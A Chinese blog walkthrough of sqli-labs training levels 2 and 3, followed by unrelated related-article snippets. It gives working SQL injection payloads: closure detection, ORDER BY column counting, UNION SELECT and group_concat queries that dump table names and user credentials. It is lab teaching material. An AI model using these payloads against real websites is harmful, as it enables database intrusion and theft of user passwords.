【sqli靶场】第二关和第三关通关思路

目录

前言

一、sqli靶场第二关

1.1 判断注入类型

1.2 判断数据表中的列数

1.3 使用union联合查询

1.4 使用group_concat()函数

1.5 爆出users表中的列名

1.6 爆出users表中的数据

二、sqli靶场第三关

2.1 判断注入类型

2.2 观察报错  

2.3 判断数据表中的列数

2.4 使用union联合查询

2.5 使用group_concat()函数

2.6 爆出users表中的列名

2.7 爆出users表中的数据


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__✍️原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权⚠️。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

前言

sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502


一、sqli靶场第二关

1.1 判断注入类型

输入?id=1',显示语法错误。
输入?id=1'',显示语法错误。
输入?id=1/1,正常回显。
输入?id=1/0,爆出如下页面:

证明存在数字型注入。

1.2 判断数据表中的列数

介绍一个方法:二分法

其基本思想是将待查找的区间不断二分,以缩小查找范围,直到找到目标元素。

输入?id=1 order by 10 --+,出现回显Unknown column '10' in 'order clause'。

用一下二分法,输入?id=1 order by 5 --+,仍然回显Unknown column '10' in 'order clause'。

继续,输入?id=1 order by 3 --+,正常回显。

输入?id=1 order by 4 --+,回显Unknown column '10' in 'order clause'。

说明列数为3。

1.3 使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。

输入?id=0 union select 1,2,3--+,用来判断回显位,其中的0是不存在的id值,这是为了使后方语句union select 1,2,3能够执行,页面如下:

输入?id=0 union select 1,2,database()--+爆出数据库名

1.4 使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。

构造:

?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出了表名:

1.5 爆出users表中的列名

构造:

?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

1.6 爆出users表中的数据

查看users表中所有的用户:

?id=0 union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0 union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0 union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

二、sqli靶场第三关

2.1 判断注入类型

输入?id=1',显示语法错误。


输入?id=1'',正常回显。
输入?id=1/1,正常回显。
输入?id=1/0,正常回显。

判断为字符型注入(初步判断为单引号闭合)。

2.2 观察报错  

报错信息为''1'') LIMIT 0,1' 

进一步判断为')闭合

输入?id=1') --+,正常回显。

2.3 判断数据表中的列数

输入?id=1') order by 3 --+,正常回显。

输入?id=1') order by 4 --+,显示超出。

用二分法与order by确定列数为3

2.4 使用union联合查询

输入?id=0') union select 1,2,3--+,判断回显位,页面如下:

输入?id=0') union select 1,2,database()--+爆出数据库名:

2.5 使用group_concat()函数

输入:

?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

2.6 爆出users表中的列名

输入:

?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

2.7 爆出users表中的数据

查看users表中所有的用户:

?id=0') union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0') union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0') union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/215936.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是 web 组态?web 组态与传统组态的区别是什么?

组态软件是一种用于控制和监控各种设备的软件,也是指在自动控制系统监控层一级的软件平台和开发环境。这类软件实际上也是一种通过灵活的组态方式,为用户提供快速构建工业自动控制系统监控功能的、通用层次的软件工具。通常用于工业控制,自动…

Spring Boot整合 Spring Security

Spring Boot整合 1、RBAC 权限模型 RBAC模型(Role-Based Access Control:基于角色的访问控制) 在RBAC模型里面,有3个基础组成部分,分别是:用户、角色和权限,它们之间的关系如下图所示 SELECT…

【算法】算法题-20231211

这里写目录标题 一、387. 字符串中的第一个唯一字符二、1189. “气球” 的最大数量三、1221. 分割平衡字符串 一、387. 字符串中的第一个唯一字符 简单 给定一个字符串 s ,找到 它的第一个不重复的字符,并返回它的索引 。如果不存在,则返回…

Mockjs 增、删、改、查(分页、多条件查询)

查(分页、多条件查询): 关键代码: Mock.mock(/vue-table-list/tableLinkage/list, post, (option) > {// console.log("🚀 ~ file: tableLinkage.js:66 ~ Mock.mock ~ option:", option)const params J…

MFC画折线图,基于x64系统

由于项目的需要,需要画一个折线图。 传统的Teechart、MSChart、HighSpeedChart一般是只能配置在x86系统下,等到使用x64系统下运行就是会报出不知名的错误,这个地方让人很苦恼。 我在进行配置的过程之中,使用Teechart将x86配置好…

基于Java SSM框架实现班级同学录、聚会报名网站系统项目【项目源码+论文说明】

基于java的SSM框架实现班级同学录聚会报名网站系统演示 摘要 21世纪的今天,随着社会的不断发展与进步,人们对于信息科学化的认识,已由低层次向高层次发展,由原来的感性认识向理性认识提高,管理工作的重要性已逐渐被人…

程序员考公笔记之逻辑判断(图形推理)

文章目录 写在前面1、逻辑判断1.1、图形推理1.1.1、位置类1.1.2、样式类1.1.3、数量类1.1.4、属性类1.1.5、六面体 写在前面 1、逻辑判断 1.1、图形推理 观察:先宏观,再微观 图形推理的命题形式: 一组式 观察路径:顺序看(考最…

解决方案- 材料吸波、屏蔽性能测试系统 (10MHz~500GHz)

材料吸波、屏蔽性能测试系统 (10MHz~500GHz) 材料电磁参数综合测试解决方案 材料吸波、屏蔽性能测试系统测试频率范围可达10MHz~500GHz,可实现材料反射率、屏蔽性能特性参数测试。系统由矢量网络分析仪、测试夹具、系统软件等组…

力扣每日一题day34[110. 平衡二叉树]

给定一个二叉树,判断它是否是高度平衡的二叉树。 本题中,一棵高度平衡二叉树定义为: 一个二叉树每个节点 的左右两个子树的高度差的绝对值不超过 1 。 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:t…

wappalyzer基于插件的网站开发技术解析工具

一、wappalyzer 解释:这是一款强大的工具,其主要能提供一种快速、可靠地检测网站所使用技术栈的方法,也就说说,服务器发来的信息都会被它剖析,然后分析出前端的技术栈,有时后端所使用的技术栈如果网页特征…

[ 蓝桥杯Web真题 ]-冬奥大抽奖

目录 介绍 准备 目标 规定 思路 知识补充 解法参考 介绍 蓝桥云课庆冬奥需要举行一次抽奖活动,我们一起做一个页面提供给云课冬奥抽奖活动使用。 准备 开始答题前,需要先打开本题的项目代码文件夹,目录结构如下: ├──…

甲醛处理企业网站效果如何

甲醛往往是新装房间主所担心的问题,而甲醛处理公司则可以处理甲醛问题,市场需求也比较高,虽然具备同城服务属性,但外地或连锁经营也非常适合,而品牌们也遇到一些痛点: 1、品牌宣传拓客难 甲醛处理公司也需…

基于查表法的水流量算法设计与实现

写在前面 本文分享的是一种基于查表法的水流量的算法方案设计与实现,算法简单易懂,主要面向初学者,有两个目的:一是给初学者一些算法设计的思路引导;二是引导初学者学习怎样用C语言编程实现。 一、设计需求 基于“19…

液态二氧化碳储存罐远程无线监测系统

二氧化碳强化石油开采技术,须先深入了解石油储层的地质特征和二氧化碳的作用机制。现场有8辆二氧化碳罐装车,每辆罐车上有4台液态二氧化碳储罐,每台罐的尾部都装有一台西门子S7-200 smart PLC。在注入二氧化碳的过程中,中控室S7-1…

OneNote for Windows10 彻底删除笔记本

找了超多方法,都没有用,我的OneNote都没有文件选项,要在OneDrive中删除,但是一直登不进,然后又找到一个方法: 在网页中打开Office的控制面板 "Sign in to your Microsoft account" 在“最近”一…

【强化学习-读书笔记】多臂赌博机 Multi-armed bandit

参考 Reinforcement Learning, Second Edition An Introduction By Richard S. Sutton and Andrew G. Barto强化学习与监督学习 强化学习与其他机器学习方法最大的不同,就在于前者的训练信号是用来评估(而不是指导)给定动作的好坏的。 …

第21章网络通信

网络程序设计基础 网络程序设计编写的是与其他计算机进行通信的程序。Java 已经将网络程序所需要的元素封 装成不同的类,用户只要创建这些类的对象,使用相应的方法,即使不具备有关的网络支持,也可 以编写出高质量的网络通信程序…

2023年【危险化学品生产单位安全生产管理人员】考试题库及危险化学品生产单位安全生产管理人员考试技巧

题库来源:安全生产模拟考试一点通公众号小程序 危险化学品生产单位安全生产管理人员考试题库是安全生产模拟考试一点通总题库中生成的一套危险化学品生产单位安全生产管理人员考试技巧,安全生产模拟考试一点通上危险化学品生产单位安全生产管理人员作业…

【教程】制作 iOS 推送证书

如需向 iOS 设备推送数据,您首先需要在消息推送控制台上配置 iOS 推送证书。iOS 推送证书用于推送通知,本文将介绍消息推送服务支持的证书类型,并引导您制作 iOS 推送证书。 证书类型 消息推送服务仅支持 Apple Push Service 类型的证书。有…

竞赛保研 LSTM的预测算法 - 股票预测 天气预测 房价预测

0 简介 今天学长向大家介绍LSTM基础 基于LSTM的预测算法 - 股票预测 天气预测 房价预测 这是一个较为新颖的竞赛课题方向,学长非常推荐! 🧿 更多资料, 项目分享: https://gitee.com/dancheng-senior/postgraduate 1 基于 Ke…